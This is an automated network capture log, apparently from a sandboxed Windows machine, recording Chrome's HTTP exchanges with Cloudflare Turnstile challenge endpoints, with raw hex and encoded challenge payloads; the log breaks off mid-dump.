2024-11-20 14:43:00 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8e5935826bf00f3e/1732113776134/h6nWbmYreyjn9Wt HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m5qwh/0x4AAAAAAAzzOG3WgTHOL0Qf/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:01 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:43:01 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8e5935bbd8061881-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:43:01 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0d 00 00 00 3c 08 02 00 00 00 32 af a7 23 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR<2#IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49749	104.18.94.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:02 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8e5935826bf00f3e/1732113776134/h6nWbmYreyjn9Wt HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:02 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:43:02 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8e5935c658214286-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:43:02 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0d 00 00 00 3c 08 02 00 00 00 32 af a7 23 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR<2#IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49750	104.18.94.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:02 UTC	1151	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1473497627:1732110465:VyCOkHO-TwwNXlMDYoynBhrxVToIwMTizF7Uj1dTvjY/8e5935826bf00f3e/hrgHGbcxXEhuDn3W7nMOe8g1AooXueRpKQCRH5i0MrM-1732113771-1.1.1.1-0B54QtazdcSFZTKgpBU7bPjw9ScnMUP.BbDTOLwMOuAnGgHY68Cd528WhLnA1RRK HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32096 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: hrgHGbcxXEhuDn3W7nMOe8g1AooXueRpKQCRH5i0MrM-1732113771-1.1.1.1-0B54QtazdcSFZTKgpBU7bPjw9ScnMUP.BbDTOLwMOuAnGgHY68Cd528WhLnA1RRK sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m5qwh/0x4AAAAAAAzzOG3WgTHOL0Qf/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:02 UTC	16384	OUT	Data Raw: 76 5f 38 65 35 39 33 35 38 32 36 62 66 30 30 66 33 65 3d 73 57 68 77 67 72 55 45 69 75 69 50 69 55 53 55 44 34 51 34 6a 74 49 55 54 34 51 34 37 77 55 49 34 36 38 34 6f 63 6f 6b 56 4c 55 33 34 68 78 6e 68 34 65 48 78 55 74 34 4b 76 33 34 55 69 6b 34 30 41 2d 6b 6b 55 6f 34 34 46 31 34 76 77 74 75 34 61 67 32 34 55 6e 34 73 68 34 6e 6a 55 49 77 62 6c 6e 34 68 31 34 74 74 55 51 55 69 45 71 55 6b 74 45 52 35 34 38 32 6b 34 61 6a 25 32 62 69 55 62 74 6b 24 4c 45 53 53 38 75 77 55 58 4f 35 50 68 34 45 63 34 4b 34 34 58 6c 34 49 4c 7a 68 7a 35 78 55 6b 7a 34 49 61 48 68 39 73 7a 34 72 78 2d 68 63 73 48 77 43 4e 2d 34 31 6e 6f 4b 79 67 6c 56 37 6b 34 24 24 53 72 52 4e 77 55 6c 34 48 73 39 64 78 35 45 54 77 50 7a 2d 69 55 73 72 4d 4d 52 47 69 44 64 35 51 61 72 4d Data Ascii: v_8e5935826bf00f3e=sWhwgrUEiuiPiUSUD4Q4jtIUT4Q47wUI4684ocokVLU34hxnh4eHxUt4Kv34Uik40A-kkUo44F14vwtu4ag24Un4sh4njUIwbln4h14ttUQUiEqUktER5482k4aj%2biUbtk$LESS8uwUXO5Ph4Ec4K44Xl4ILzhz5xUkz4IaHh9sz4rx-hcsHwCN-41noKyglV7k4$$SrRNwUl4Hs9dx5ETwPz-iUsrMMRGiDd5QarM
2024-11-20 14:43:02 UTC	15712	OUT	Data Raw: 63 68 53 34 77 49 7a 55 33 34 52 62 65 6b 34 34 4b 6e 57 34 69 34 35 34 57 57 74 44 64 71 55 6b 34 34 77 56 42 55 52 63 4f 75 49 43 4e 35 49 50 6b 72 4a 59 4f 4a 55 65 49 59 34 51 38 4e 34 74 6b 55 59 63 30 34 48 4f 74 6b 77 78 77 56 31 34 4b 67 6f 34 48 53 55 48 63 31 55 4b 75 34 38 34 6a 77 74 42 62 55 34 49 6b 56 59 34 6b 34 44 6b 72 75 73 41 34 70 6b 49 63 55 38 57 34 63 72 75 34 65 34 4b 59 48 75 55 6a 34 56 63 24 4c 34 55 57 53 68 55 30 77 52 34 33 4a 61 35 62 6a 34 34 37 56 49 34 4c 34 45 45 49 31 55 76 4a 79 63 48 4c 34 43 34 45 51 41 63 77 53 63 4b 77 24 58 55 51 34 74 34 49 44 77 68 34 4b 4a 61 4c 55 56 45 73 34 34 63 55 2d 63 68 6b 79 46 34 4e 34 43 6b 24 49 48 6f 34 65 6b 56 2d 72 6b 34 74 34 74 2d 72 46 6b 37 6b 79 2d 55 55 34 57 6b 73 49 72 Data Ascii: chS4wIzU34Rbek44KnW4i454WWtDdqUk44wVBURcOuICN5IPkrJYOJUeIY4Q8N4tkUYc04HOtkwxwV14Kgo4HSUHc1UKu484jwtBbU4IkVY4k4DkrusA4pkIcU8W4cru4e4KYHuUj4Vc$L4UWShU0wR43Ja5bj447VI4L4EEI1UvJycHL4C4EQAcwScKw$XUQ4t4IDwh4KJaLUVEs44cU-chkyF4N4Ck$IHo4ekV-rk4t4t-rFk7ky-UU4WksIr
2024-11-20 14:43:03 UTC	330	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:43:03 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26332 Connection: close cf-chl-gen: NU0BaZl8+qbAc1DDJuropTKdMpnYDGGJBPLOPHafEVFO9/lgdGfNooQz1eR22ZoELqsjTGIkCHWmf833$1xNZzm31SVUOiGEr Server: cloudflare CF-RAY: 8e5935c64992187d-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:43:03 UTC	1039	IN	Data Raw: 59 6f 6c 72 64 32 4a 58 61 34 6c 6b 67 6f 47 50 59 6d 39 6c 63 34 31 59 6a 31 71 55 57 33 6c 65 6d 46 39 67 6e 4b 46 6a 6f 34 61 62 6f 5a 5a 38 69 49 69 48 6e 34 74 2b 67 33 4b 4d 70 35 53 42 69 5a 53 32 6b 49 6d 74 75 5a 2b 52 6d 37 57 64 6c 4a 43 58 76 5a 32 37 67 71 61 6c 77 49 65 67 70 39 4f 69 6a 6f 65 57 78 4c 4f 59 73 71 65 7a 31 35 54 4d 33 4a 2b 36 72 36 2b 64 30 74 57 77 34 4d 43 35 76 39 32 6e 30 4d 2f 51 71 73 7a 6d 30 36 33 56 78 37 54 50 73 73 53 30 36 75 7a 67 73 39 67 42 41 73 47 34 77 65 66 43 33 39 72 74 78 73 54 39 35 4d 37 45 35 67 54 6b 33 67 37 58 37 39 54 5a 47 42 51 59 37 2b 30 61 45 66 63 51 46 41 2f 6c 43 50 4d 70 35 53 76 74 42 2f 72 77 38 44 41 49 2f 50 49 4f 4f 66 59 43 45 77 6b 36 44 51 34 75 4c 51 41 57 4d 79 4d 39 2f 69 45 Data Ascii: Yolrd2JXa4lkgoGPYm9lc41Yj1qUW3lemF9gnKFjo4aboZZ8iIiHn4t+g3KMp5SBiZS2kImtuZ+Rm7WdlJCXvZ27gqalwIegp9OijoeWxLOYsqez15TM3J+6r6+d0tWw4MC5v92n0M/Qqszm063Vx7TPssS06uzgs9gBAsG4wefC39rtxsT95M7E5gTk3g7X79TZGBQY7+0aEfcQFA/lCPMp5SvtB/rw8DAI/PIOOfYCEwk6DQ4uLQAWMyM9/iE
2024-11-20 14:43:03 UTC	1369	IN	Data Raw: 4b 64 32 4a 5a 65 32 70 32 63 6f 68 74 61 34 46 74 64 35 57 41 5a 35 36 56 71 36 4a 70 6f 59 47 76 62 49 78 74 6e 57 31 30 72 6f 2b 35 74 48 64 36 71 4a 65 33 76 59 32 51 67 4b 32 56 66 4d 4b 67 6e 38 57 67 6e 73 65 32 76 62 6e 43 6e 72 71 51 6f 4e 57 6f 75 4b 71 77 6b 36 71 4f 6c 64 66 51 6e 37 43 63 72 72 48 64 77 62 54 6e 75 36 50 45 33 38 36 67 72 65 75 35 35 4f 33 4c 39 73 54 7a 2b 66 44 44 7a 38 76 37 37 4f 75 37 2f 4d 72 68 77 64 33 6c 2f 50 6e 61 36 66 37 61 44 51 6a 49 79 77 55 44 30 74 50 55 35 74 4d 5a 35 74 51 52 2b 74 4d 58 36 75 6a 76 41 68 4d 67 2f 76 6a 6e 35 69 51 71 36 42 76 2b 2f 52 7a 70 36 52 50 73 45 67 67 4a 4c 79 6b 6b 4d 50 4d 71 4c 78 4c 33 2f 52 4d 78 46 53 49 6d 4d 55 67 34 50 52 67 74 42 78 38 73 55 46 4a 42 54 55 55 6f 4a 45 Data Ascii: Kd2JZe2p2cohta4Ftd5WAZ56Vq6JpoYGvbIxtnW10ro+5tHd6qJe3vY2QgK2VfMKgn8Wgnse2vbnCnrqQoNWouKqwk6qOldfQn7CcrrHdwbTnu6PE386greu55O3L9sTz+fDDz8v77Ou7/Mrhwd3l/Pna6f7aDQjIywUD0tPU5tMZ5tQR+tMX6ujvAhMg/vjn5iQq6Bv+/Rzp6RPsEggJLykkMPMqLxL3/RMxFSImMUg4PRgtBx8sUFJBTUUoJE
2024-11-20 14:43:03 UTC	1369	IN	Data Raw: 58 46 6c 73 61 61 4e 72 56 71 4e 68 66 57 65 42 5a 6e 57 73 71 6f 39 76 68 49 6d 52 73 4b 6d 7a 69 59 57 73 6a 72 4b 59 62 72 71 74 77 48 71 74 6d 62 69 4f 73 4a 57 6e 67 73 53 45 75 34 78 2f 6d 4b 61 38 73 70 33 4c 6e 36 6a 56 71 4c 58 5a 74 4c 4f 6e 6d 70 61 39 73 70 6e 57 30 64 7a 53 30 72 58 46 33 4d 4f 30 79 75 4f 2b 35 4b 6e 6a 36 63 6e 47 77 62 2f 42 7a 65 37 32 79 4d 72 71 2b 39 62 49 32 65 45 42 7a 77 51 41 77 67 54 52 38 76 50 38 32 74 6a 6a 41 39 2f 66 30 77 45 4c 31 74 44 33 31 4f 4c 58 45 42 77 5a 2f 51 41 41 39 78 6b 56 38 69 49 48 42 68 37 69 43 51 76 38 48 67 2f 38 4a 79 45 75 35 67 6e 7a 42 69 63 75 39 76 6f 75 48 76 5a 41 4d 68 30 76 4f 77 55 67 51 44 77 35 4b 42 30 45 47 7a 30 37 4b 67 74 42 48 43 6c 4b 4b 44 46 48 46 41 77 73 57 45 77 Data Ascii: XFlsaaNrVqNhfWeBZnWsqo9vhImRsKmziYWsjrKYbrqtwHqtmbiOsJWngsSEu4x/mKa8sp3Ln6jVqLXZtLOnmpa9spnW0dzS0rXF3MO0yuO+5Knj6cnGwb/Bze72yMrq+9bI2eEBzwQAwgTR8vP82tjjA9/f0wEL1tD31OLXEBwZ/QAA9xkV8iIHBh7iCQv8Hg/8JyEu5gnzBicu9vouHvZAMh0vOwUgQDw5KB0EGz07KgtBHClKKDFHFAwsWEw
2024-11-20 14:43:03 UTC	1369	IN	Data Raw: 6c 78 7a 63 35 70 32 71 58 31 6f 6f 36 71 42 62 35 4a 37 6b 48 4a 74 6a 61 65 57 61 36 68 37 75 4a 69 34 70 37 57 62 69 35 44 43 66 4a 33 48 73 38 6d 64 77 37 6a 4a 72 71 6d 75 72 4c 4c 48 6a 4b 62 4c 6a 35 54 49 72 74 4f 31 33 4e 69 37 72 72 71 79 31 4c 50 6c 7a 2b 53 6c 31 2b 50 63 70 4d 50 4e 32 61 76 47 35 39 4f 76 74 63 2f 4f 73 38 37 70 38 39 33 79 75 39 67 41 74 37 6b 42 76 74 76 58 31 65 62 44 39 64 55 47 36 65 7a 36 43 66 72 71 37 2f 37 72 34 75 6f 55 38 77 6a 35 35 51 7a 61 44 43 45 55 39 50 49 4e 4a 65 58 5a 4a 68 50 2b 4b 67 6e 33 47 65 6f 4a 42 53 63 51 41 66 4c 76 39 42 6b 6c 4c 52 30 74 39 68 55 79 41 43 6f 32 50 52 74 46 48 69 4a 48 4d 7a 38 5a 48 30 77 6b 47 42 34 6e 4a 42 52 4d 4b 69 6b 67 52 6a 70 4f 52 7a 52 4a 4c 55 68 63 47 69 31 6a Data Ascii: lxzc5p2qX1oo6qBb5J7kHJtjaeWa6h7uJi4p7Wbi5DCfJ3Hs8mdw7jJrqmurLLHjKbLj5TIrtO13Ni7rrqy1LPlz+Sl1+PcpMPN2avG59Ovtc/Os87p893yu9gAt7kBvtvX1ebD9dUG6ez6Cfrq7/7r4uoU8wj55QzaDCEU9PINJeXZJhP+Kgn3GeoJBScQAfLv9BklLR0t9hUyACo2PRtFHiJHMz8ZH0wkGB4nJBRMKikgRjpORzRJLUhcGi1j
2024-11-20 14:43:03 UTC	1369	IN	Data Raw: 56 31 58 36 61 58 66 71 36 47 69 58 43 6a 61 4b 4b 54 6b 61 69 49 68 5a 79 51 6c 71 6d 68 6b 33 75 7a 6c 4c 56 39 74 35 69 43 79 72 71 63 6f 34 66 48 6f 70 2f 51 6f 4b 61 65 31 37 53 6a 75 70 47 30 71 63 37 56 6e 4c 61 2f 34 73 7a 69 30 38 53 34 73 37 37 63 76 72 62 67 37 72 2f 42 36 4d 32 74 74 65 2f 45 37 4c 48 4c 38 75 58 70 75 4e 36 32 77 65 76 54 37 76 37 36 76 51 62 64 34 4d 72 59 79 65 6a 75 43 77 6f 50 42 42 62 53 37 41 4d 59 46 42 63 62 46 52 58 77 49 42 58 7a 44 78 34 63 48 39 38 69 4b 69 4d 59 2f 53 55 6c 49 41 63 75 37 2f 77 76 4d 42 2f 6f 4f 44 6e 32 45 53 34 34 4e 76 77 59 51 44 77 33 2b 55 49 46 49 53 59 39 47 7a 64 47 50 30 59 4d 54 6b 4e 4b 45 52 39 4c 45 6b 51 69 56 31 51 5a 4a 31 34 77 4e 69 39 57 54 43 42 57 58 43 52 46 5a 47 42 6a 49 Data Ascii: V1X6aXfq6GiXCjaKKTkaiIhZyQlqmhk3uzlLV9t5iCyrqco4fHop/QoKae17SjupG0qc7VnLa/4szi08S4s77cvrbg7r/B6M2tte/E7LHL8uXpuN62wevT7v76vQbd4MrYyejuCwoPBBbS7AMYFBcbFRXwIBXzDx4cH98iKiMY/SUlIAcu7/wvMB/oODn2ES44NvwYQDw3+UIFISY9GzdGP0YMTkNKER9LEkQiV1QZJ14wNi9WTCBWXCRFZGBjI
2024-11-20 14:43:03 UTC	1369	IN	Data Raw: 75 6e 36 6d 48 68 4b 32 78 61 36 71 35 73 59 2b 71 73 73 42 2b 6c 4c 71 35 6d 63 4b 38 77 63 47 45 75 37 37 4a 6e 61 75 4c 7a 4d 65 39 6a 70 57 2b 73 5a 65 77 70 63 57 56 32 4a 79 35 6d 62 4b 31 77 74 71 37 76 63 54 6b 70 61 66 56 34 74 58 65 37 4b 33 45 76 4e 33 72 73 74 58 4b 37 76 48 75 35 66 79 36 36 76 76 35 37 64 54 64 76 64 72 33 39 63 58 65 33 66 55 41 43 51 54 6f 79 75 63 45 37 4d 37 72 35 66 50 54 45 75 55 4e 31 41 63 62 44 42 62 7a 38 42 6f 65 31 78 63 6d 48 76 73 58 48 79 33 71 41 53 63 6d 42 69 38 70 4c 69 37 77 4b 50 49 50 50 43 67 77 4e 52 49 67 2b 52 63 34 4c 67 41 79 4c 7a 59 45 43 69 6b 4b 51 6b 56 50 50 30 6b 6b 43 55 70 50 4a 31 64 4e 55 45 52 58 54 46 55 2f 59 44 4e 59 48 79 42 66 49 46 30 36 53 43 4a 41 4e 6d 49 6d 61 54 35 75 4c 45 Data Ascii: un6mHhK2xa6q5sY+qssB+lLq5mcK8wcGEu77JnauLzMe9jpW+sZewpcWV2Jy5mbK1wtq7vcTkpafV4tXe7K3EvN3rstXK7vHu5fy66vv57dTdvdr39cXe3fUACQToyucE7M7r5fPTEuUN1AcbDBbz8Boe1xcmHvsXHy3qAScmBi8pLi7wKPIPPCgwNRIg+Rc4LgAyLzYECikKQkVPP0kkCUpPJ1dNUERXTFU/YDNYHyBfIF06SCJANmImaT5uLE
2024-11-20 14:43:03 UTC	1369	IN	Data Raw: 6a 36 4f 63 64 58 32 4e 72 58 6d 73 6c 61 31 2b 6d 70 57 6f 68 4d 53 2f 75 59 4f 34 69 4c 43 48 7a 4d 2f 41 6a 64 44 50 79 35 48 45 71 62 57 58 73 36 6e 4e 6d 63 7a 62 7a 70 33 52 7a 39 47 68 31 4b 44 59 70 65 6a 76 33 61 6d 78 72 4e 75 77 38 50 66 6a 73 75 58 46 31 4c 62 70 79 65 65 35 77 62 6a 33 76 74 71 38 38 4d 45 46 79 4f 58 47 2b 4e 33 35 79 66 33 37 2f 63 73 52 47 41 44 52 32 52 51 47 31 68 6b 55 41 64 77 64 49 41 37 65 45 66 55 56 34 65 6b 6b 42 75 55 70 4b 43 54 70 38 54 41 67 37 69 48 73 4a 76 49 31 38 43 6e 31 4b 69 67 70 2b 69 30 34 4d 76 31 43 45 6a 4d 41 52 55 41 35 43 55 6c 4d 50 67 70 4e 54 44 30 50 51 56 67 79 45 6c 55 5a 55 42 64 5a 57 44 6b 62 58 52 31 52 48 6c 45 32 55 43 42 57 56 46 59 6e 4c 69 6c 63 4b 30 64 77 58 53 39 78 4e 57 77 Data Ascii: j6OcdX2NrXmsla1+mpWohMS/uYO4iLCHzM/AjdDPy5HEqbWXs6nNmczbzp3Rz9Gh1KDYpejv3amxrNuw8PfjsuXF1Lbpyee5wbj3vtq88MEFyOXG+N35yf37/csRGADR2RQG1hkUAdwdIA7eEfUV4ekkBuUpKCTp8TAg7iHsJvI18Cn1Kigp+i04Mv1CEjMARUA5CUlMPgpNTD0PQVgyElUZUBdZWDkbXR1RHlE2UCBWVFYnLilcK0dwXS9xNWw
2024-11-20 14:43:03 UTC	1369	IN	Data Raw: 62 2b 71 73 34 36 44 6d 61 2b 32 68 4d 50 4b 7a 49 4f 67 72 62 36 4d 79 34 2f 55 69 36 69 31 78 70 54 54 79 37 6a 64 6a 38 65 76 6d 4d 4c 66 30 2b 53 37 7a 39 47 6a 30 74 72 55 70 2b 66 66 34 36 6e 63 37 2b 4c 77 78 76 50 6e 2b 4d 2f 6a 35 62 62 54 7a 66 50 38 2f 4f 44 74 76 77 44 33 2b 77 63 48 31 65 49 4a 34 64 30 4f 45 73 38 45 33 4e 50 70 36 51 66 55 46 41 7a 34 48 41 6f 49 37 4e 67 4d 44 42 67 6b 49 51 62 79 35 43 51 43 43 53 49 45 41 76 76 73 4c 43 41 6a 38 44 41 53 46 54 63 6d 4a 41 58 30 4b 42 49 30 50 7a 30 69 47 77 46 41 2f 43 55 2b 49 42 34 62 43 55 64 49 50 30 51 38 54 31 55 4f 54 7a 59 31 54 6a 41 75 4d 78 6c 59 57 32 45 61 57 30 4a 54 49 57 42 6a 61 53 4a 54 53 6b 6c 69 52 45 49 36 4c 57 78 76 64 53 35 66 56 6d 63 31 64 48 64 39 4e 31 46 65 Data Ascii: b+qs46Dma+2hMPKzIOgrb6My4/Ui6i1xpTTy7jdj8evmMLf0+S7z9Gj0trUp+ff46nc7+LwxvPn+M/j5bbTzfP8/ODtvwD3+wcH1eIJ4d0OEs8E3NPp6QfUFAz4HAoI7NgMDBgkIQby5CQCCSIEAvvsLCAj8DASFTcmJAX0KBI0Pz0iGwFA/CU+IB4bCUdIP0Q8T1UOTzY1TjAuMxlYW2EaW0JTIWBjaSJTSkliREI6LWxvdS5fVmc1dHd9N1Fe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49751	104.18.94.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:04 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1473497627:1732110465:VyCOkHO-TwwNXlMDYoynBhrxVToIwMTizF7Uj1dTvjY/8e5935826bf00f3e/hrgHGbcxXEhuDn3W7nMOe8g1AooXueRpKQCRH5i0MrM-1732113771-1.1.1.1-0B54QtazdcSFZTKgpBU7bPjw9ScnMUP.BbDTOLwMOuAnGgHY68Cd528WhLnA1RRK HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:05 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 14:43:05 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 5Qtf0X3fEkXPdejdAuunr6uDg1T+f1CdQbU=$N/N7TOcvan2f86fI Server: cloudflare CF-RAY: 8e5935d4bc6f43e0-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:43:05 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49752	104.18.94.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:08 UTC	1151	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1473497627:1732110465:VyCOkHO-TwwNXlMDYoynBhrxVToIwMTizF7Uj1dTvjY/8e5935826bf00f3e/hrgHGbcxXEhuDn3W7nMOe8g1AooXueRpKQCRH5i0MrM-1732113771-1.1.1.1-0B54QtazdcSFZTKgpBU7bPjw9ScnMUP.BbDTOLwMOuAnGgHY68Cd528WhLnA1RRK HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34494 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: hrgHGbcxXEhuDn3W7nMOe8g1AooXueRpKQCRH5i0MrM-1732113771-1.1.1.1-0B54QtazdcSFZTKgpBU7bPjw9ScnMUP.BbDTOLwMOuAnGgHY68Cd528WhLnA1RRK sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m5qwh/0x4AAAAAAAzzOG3WgTHOL0Qf/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:08 UTC	16384	OUT	Data Raw: 76 5f 38 65 35 39 33 35 38 32 36 62 66 30 30 66 33 65 3d 73 57 68 77 67 72 55 45 69 75 69 50 69 55 53 55 44 34 51 34 6a 74 49 55 54 34 51 34 37 77 55 49 34 36 38 34 6f 63 6f 6b 56 4c 55 33 34 68 78 6e 68 34 65 48 78 55 74 34 4b 76 33 34 55 69 6b 34 30 41 2d 6b 6b 55 6f 34 34 46 31 34 76 77 74 75 34 61 67 32 34 55 6e 34 73 68 34 6e 6a 55 49 77 62 6c 6e 34 68 31 34 74 74 55 51 55 69 45 71 55 6b 74 45 52 35 34 38 32 6b 34 61 6a 25 32 62 69 55 62 74 6b 24 4c 45 53 53 38 75 77 55 58 4f 35 50 68 34 45 63 34 4b 34 34 58 6c 34 49 4c 7a 68 7a 35 78 55 6b 7a 34 49 61 48 68 39 73 7a 34 72 78 2d 68 63 73 48 77 43 4e 2d 34 31 6e 6f 4b 79 67 6c 56 37 6b 34 24 24 53 72 52 4e 77 55 6c 34 48 73 39 64 78 35 45 54 77 50 7a 2d 69 55 73 72 4d 4d 52 47 69 44 64 35 51 61 72 4d Data Ascii: v_8e5935826bf00f3e=sWhwgrUEiuiPiUSUD4Q4jtIUT4Q47wUI4684ocokVLU34hxnh4eHxUt4Kv34Uik40A-kkUo44F14vwtu4ag24Un4sh4njUIwbln4h14ttUQUiEqUktER5482k4aj%2biUbtk$LESS8uwUXO5Ph4Ec4K44Xl4ILzhz5xUkz4IaHh9sz4rx-hcsHwCN-41noKyglV7k4$$SrRNwUl4Hs9dx5ETwPz-iUsrMMRGiDd5QarM
2024-11-20 14:43:08 UTC	16384	OUT	Data Raw: 63 68 53 34 77 49 7a 55 33 34 52 62 65 6b 34 34 4b 6e 57 34 69 34 35 34 57 57 74 44 64 71 55 6b 34 34 77 56 42 55 52 63 4f 75 49 43 4e 35 49 50 6b 72 4a 59 4f 4a 55 65 49 59 34 51 38 4e 34 74 6b 55 59 63 30 34 48 4f 74 6b 77 78 77 56 31 34 4b 67 6f 34 48 53 55 48 63 31 55 4b 75 34 38 34 6a 77 74 42 62 55 34 49 6b 56 59 34 6b 34 44 6b 72 75 73 41 34 70 6b 49 63 55 38 57 34 63 72 75 34 65 34 4b 59 48 75 55 6a 34 56 63 24 4c 34 55 57 53 68 55 30 77 52 34 33 4a 61 35 62 6a 34 34 37 56 49 34 4c 34 45 45 49 31 55 76 4a 79 63 48 4c 34 43 34 45 51 41 63 77 53 63 4b 77 24 58 55 51 34 74 34 49 44 77 68 34 4b 4a 61 4c 55 56 45 73 34 34 63 55 2d 63 68 6b 79 46 34 4e 34 43 6b 24 49 48 6f 34 65 6b 56 2d 72 6b 34 74 34 74 2d 72 46 6b 37 6b 79 2d 55 55 34 57 6b 73 49 72 Data Ascii: chS4wIzU34Rbek44KnW4i454WWtDdqUk44wVBURcOuICN5IPkrJYOJUeIY4Q8N4tkUYc04HOtkwxwV14Kgo4HSUHc1UKu484jwtBbU4IkVY4k4DkrusA4pkIcU8W4cru4e4KYHuUj4Vc$L4UWShU0wR43Ja5bj447VI4L4EEI1UvJycHL4C4EQAcwScKw$XUQ4t4IDwh4KJaLUVEs44cU-chkyF4N4Ck$IHo4ekV-rk4t4t-rFk7ky-UU4WksIr
2024-11-20 14:43:08 UTC	1726	OUT	Data Raw: 4c 76 33 65 5a 71 63 31 39 52 59 74 71 41 7a 7a 61 54 49 48 68 2b 75 6b 4a 44 58 69 61 69 42 73 34 48 57 55 45 77 35 42 49 69 55 48 63 37 54 63 74 79 38 78 35 42 49 42 34 44 74 67 4e 31 44 77 41 53 38 6c 44 64 72 58 48 54 54 2b 5a 42 4f 77 79 6b 72 6a 34 6c 57 62 52 78 45 55 70 61 69 70 69 36 34 52 49 30 57 74 58 50 47 61 52 34 55 43 34 45 34 45 53 52 2d 55 33 6b 6f 6b 49 42 34 24 6c 57 7a 48 38 46 32 4d 52 44 55 41 33 53 61 6e 63 56 4c 55 36 5a 54 59 56 42 62 51 34 72 53 52 6e 4d 65 34 73 78 55 68 71 53 51 72 4b 75 44 6c 38 35 66 47 52 58 30 31 63 70 38 76 43 67 32 77 57 4c 24 46 4d 24 42 71 77 71 50 